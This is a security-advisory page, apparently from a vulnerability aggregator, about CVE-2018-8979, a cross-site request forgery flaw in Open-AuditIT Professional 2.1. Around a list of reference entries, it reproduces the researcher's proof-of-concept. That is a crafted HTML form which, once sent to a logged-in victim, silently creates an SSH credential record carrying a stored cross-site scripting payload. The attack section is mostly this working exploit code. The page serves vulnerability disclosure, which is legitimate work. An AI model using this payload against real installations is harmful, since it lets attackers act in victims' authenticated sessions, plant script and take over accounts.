Open-AuditIT Professional 2.1 Cross Site Request Forgery

🗓️ 21 Mar 2018 00:00:00Reported by Nilesh SapariyaType

packetstorm🔗 packetstormsecurity.com👁 42 Views

Open-AuditIT Professional 2.1 CSRF Exploit allows unauthorized access and account compromise using crafted HTML pag

Reporter	Title	Published	Views	Family All 10
ATTACKERKB	CVE-2018-8979	25 Mar 201819:29	–	attackerkb
CNVD	Open-AudIT Cross-Site Request Forgery Vulnerability	26 Mar 201800:00	–	cnvd
CVE	CVE-2018-8979	25 Mar 201819:00	–	cve
Cvelist	CVE-2018-8979	25 Mar 201819:00	–	cvelist
Exploit DB	Open-AuditIT Professional 2.1 - Cross-Site Request Forgery	30 Mar 201800:00	–	exploitdb
EUVD	EUVD-2018-20584	7 Oct 202500:30	–	euvd
exploitpack	Open-AuditIT Professional 2.1 - Cross-Site Request Forgery	30 Mar 201800:00	–	exploitpack
NVD	CVE-2018-8979	25 Mar 201819:29	–	nvd
OSV	CVE-2018-8979	25 Mar 201819:29	–	osv
Prion	Cross site request forgery (csrf)	25 Mar 201819:29	–	prion

`# Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery (CSRF)  
# Date: 27-03-2018  
# Exploit Author: Nilesh Sapariya  
# Contact: https://twitter.com/nilesh_loganx  
# Website: https://nileshsapariya.blogspot.com  
# Vendor Homepage: https://www.open-audit.org/  
# Software Link : https://www.open-audit.org/downloads.php  
# Version: 2.1  
# CVE : CVE-2018-8979  
# Tested on: Windows 10 Pro  
# Category: Webapp Open-AuditIT Professional 2.1  
  
  
1. Description:-  
There is no CSRF protection in Open-AuditIT application, with a little help  
of social engineering (like sending a link via email/chat) an attacker may  
force the victim to click on a malicious link by which any normal user can  
become an Admin user. The attack can force an end user to execute unwanted  
actions on a web application in which they're currently authenticated.  
Using this vulnerability, we were able to compromise entire user account  
with chaining this bug with XSS.  
  
  
  
2. Proof of Concept  
Login into Open-AuditIT Professional 2.1  
Step 1 :- Craft a HTML Page with XSS payload  
Step 2:- Save this .html file and send it to victim (Victim should be  
loggedin in the browser)  
Crafted value will be added.  
  
  
Affected Code:  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://localhost/omk/open-audit/credentials"  
method="POST">  
<input type="hidden" name="data[attributes][name]"  
value="<img src=x onerror=alert('hacked');>" />  
<input type="hidden"  
name="data[attributes][org_id]" value="1" />  
<input type="hidden"  
name="data[attributes][description]" value="CSRF" />  
<input type="hidden" name="data[attributes][type]"  
value="ssh" />  
<input type="hidden"  
name="data[attributes][credentials][username]"  
value="test" />  
<input type="hidden"  
name="data[attributes][credentials][password]"  
value="test" />  
<input type="hidden" name="data[type]" value="credentials" />  
<input type="hidden" name="submit" value="" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
  
aa3] POCs and steps:  
https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html  
  
  
Thanks & Regards,  
Nilesh Sapariya  
Security Researcher  
https://twitter.com/nilesh_loganx  
*https://nileshsapariya.blogspot.in  
  
  
  
  
`

21 Mar 2018 00:00Current

8.7High risk

Vulners AI Score8.7

EPSS0.00356